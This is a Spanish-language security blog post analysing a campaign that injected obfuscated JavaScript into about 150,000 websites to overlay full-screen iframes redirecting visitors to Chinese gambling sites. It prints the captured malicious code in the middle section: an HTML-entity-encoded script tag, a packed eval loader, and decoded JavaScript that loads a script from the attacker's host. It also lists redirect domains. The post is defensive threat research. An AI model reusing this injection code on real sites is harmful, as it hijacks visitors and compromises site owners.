Skip to main content
Blog
Blog Attacks

Más de 150.000 sitios web afectados por un secuestro de página completa que redirige a sitios de apuestas chinos

Estimamos que aproximadamente 150.000 sitios web han sido afectados por esta campaña. El script define un array de palabras clave relacionadas con apuestas, juegos de azar y marcas de casinos tanto en inglés como en chino.

Mar 26, 2025 Actualizado Jul 20, 2026 5 min read
150k-websites-article-image-cover
Tabla de Contenidos

Resumen: secuestro por iframe con codificacion HTML entity hacia marcas de apuestas chinas a escala 150K

  • Escaló tras el takedown: Todo el mundo celebra cuando una campaña recibe un titular de takedown. Los atacantes solo escalan de 35.000 sitios a 150.000, añaden branding de Bet365 para dar legitimidad y cambian la ofuscacion de escapes Unicode a codificacion HTML entity para colarse por los mismos escaneres estaticos que reportaron la victoria.
  • Cómo se ocultaba: El script por palabras clave comparaba titulos con bet365, WilliamHill, 12bet, w88 y marcas chinas 宝威 y 太阳城, y luego escribia un iframe pantalla completa apuntando a 888fff.zuizhongyj[.]com y destinos como 551007t[.]cc, t399229[.]com y W88in[.]com. cside monitoriza inyecciones de iframe en runtime y comportamiento de scripts sobre visitantes reales, no la foto estatica que ve el crawler.
  • Retira el rastreo por dominios: Si sigues esta clase de ataque solo por listas de dominios, retira ese habito este trimestre. La infraestructura se movio a codificacion HTML entity y viewport forzado por mutation observer, y tu unico checkpoint restante es lo que el navegador del visitante realmente renderiza.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

En febrero, descubrimos a un actor de amenazas que atacaba más de 35.000 sitios web mediante una inyección maliciosa de secuestro de página completa. Hemos seguido monitoreando las actividades de este actor e identificado nuevas tácticas y técnicas. Han escalado sus operaciones de forma significativa: ahora estimamos que aproximadamente 150.000 sitios web han sido afectados por esta campaña.

¿Qué hay de nuevo en este ataque?

Cambios en la interfaz (UI/UX)

El actor de amenazas ha renovado ligeramente su interfaz, pero sigue utilizando una inyección de iframe para mostrar una superposición a pantalla completa en el navegador del visitante. A continuación se muestra un ejemplo de una de sus páginas inyectadas más recientes:

Superposición inyectada a pantalla completa que muestra la página de apuestas rediseñada del atacante

Aunque los elementos visuales y el diseño pueden variar, el método de inyección subyacente sigue siendo el mismo en su núcleo.

Fragmento de código que muestra el método de inyección que se mantuvo igual pese al rediseño de la interfaz

Variaciones sobre el mismo tema

Otra variante de este ataque muestra un comportamiento similar: inyecta scripts e iframes que suplantan sitios de apuestas legítimos como Bet365. En muchos casos, se reutilizan logotipos y elementos de marca oficiales para hacer que el ataque parezca más convincente.

Página falsa de apuestas que suplanta la marca Bet365 para parecer legítima

Codificación de entidades HTML en el código inyectado

En el código estático, el JavaScript malicioso se inyecta así:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Esto es un ejemplo de codificación de entidades HTML, una forma diferente de ofuscar código. Hace que el script inyectado sea menos evidente a primera vista. Decodificar este fragmento a texto plano revela:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Etiqueta de script decodificada de la codificación de entidades HTML que revela el payload /@public/base.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Puedes decodificar texto con codificación de entidades HTML usando herramientas gratuitas como CyberChef.

Dentro de este ataque, también hay JavaScript que se decodifica a sí mismo para producir:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Que finalmente escribe:

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Los atacantes utilizan la ofuscación para ocultar la verdadera naturaleza del script ante análisis rápidos o detecciones menos sofisticadas.

Análisis del payload JavaScript final

A continuación se destacan algunos puntos clave del script final:

Lógica de detección basada en palabras clave El script define un array de palabras clave relacionadas con apuestas, juegos de azar y marcas de casinos tanto en inglés como en chino (p. ej., bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Luego compara la etiqueta <title> de la página actual con esta lista:

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Una vez encontrada una coincidencia, el script configura un parámetro ID (?id=) para usarlo en la siguiente etapa de la redirección.

Aplicación de la etiqueta Viewport El código incluye handleViewportTag();, además de un mutation observer y una llamada a setInterval para insertar repetidamente un viewport adaptado a dispositivos móviles:

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Esto garantiza que la superposición a pantalla completa se muestre correctamente en dispositivos móviles.

Superposición a pantalla completa + inyección de iframe El script del atacante crea un <div class="lbb"> que cubre toda la pantalla (mediante CSS position: fixed; z-index: 9999; ...) e inyecta un <iframe> a pantalla completa:

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Cualquier persona que visite el sitio comprometido verá la página de destino maliciosa de apuestas en lugar del contenido legítimo de la página.

Destinos de redirección

Durante el análisis observamos múltiples URLs de redirección, entre ellas:

hxxps://551007t[.]cc/

Página de apuestas china mostrada en el destino de redirección 551007t[.]cc
Segunda vista del sitio de apuestas mostrado en el destino de redirección 551007t[.]cc

hxxps://t399229[.]com/

Página de apuestas china mostrada en el destino de redirección t399229[.]com

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

Página de acceso restringido mostrada en el endpoint de redirección wa38di[.]com

(Visto anteriormente en otras campañas)

hxxps://W88in[.]com

Página de apuestas china mostrada en el destino de redirección W88in[.]com

hxxps://b217102[.]cc/

Página de apuestas china mostrada en el destino de redirección b217102[.]cc

hxxps://g977115[.]com/

Página de apuestas china mostrada en el destino de redirección g977115[.]com

hxxps://lucky298[.]com/

Varios de estos sitios bloquean selectivamente el tráfico de regiones específicas, lo que nos lleva a sospechar que los objetivos principales son usuarios de habla china en China, Hong Kong y Estados Unidos.

Escala del ataque: 150.000 sitios web (y contando)

Aprovechando herramientas de búsqueda públicas (p. ej., PublicWWW), agrupamos todos los sitios web que incluyen el fragmento de script ofuscado. En el momento de nuestro análisis, identificamos más de 150.000 sitios únicos. Puedes ver una consulta en tiempo real de estas infecciones aquí.

Este ataque demuestra cómo los actores de amenazas se adaptan constantemente, ampliando su alcance y añadiendo nuevas capas de ofuscación. Los ataques del lado del cliente como estos están en aumento, con nuevos hallazgos cada día.

Si sospechas que tu sitio podría estar afectado, revisa todos los scripts en busca de codificación de entidades HTML oculta o inyecciones sospechosas de <iframe>. Como siempre, la vigilancia continua y las auditorías periódicas del sitio siguen siendo tu mejor defensa contra ataques como estos.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Reserva una demo personalizada para ver:

Cómo cumplir los requisitos 6.4.3 y 11.6.1 de PCI DSS en 1 día
Por qué los scripts de terceros son un riesgo de seguridad para ti y tus visitantes
Cómo monitorizar fugas de privacidad y consentimiento (RGPD, CCPA) en cada tercero
Cómo frenar el abuso de registros, el uso compartido de cuentas y el fraude de contracargos con device intelligence
Cómo detectar y controlar agentes de IA y bots que llegan a tu sitio en tiempo real

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco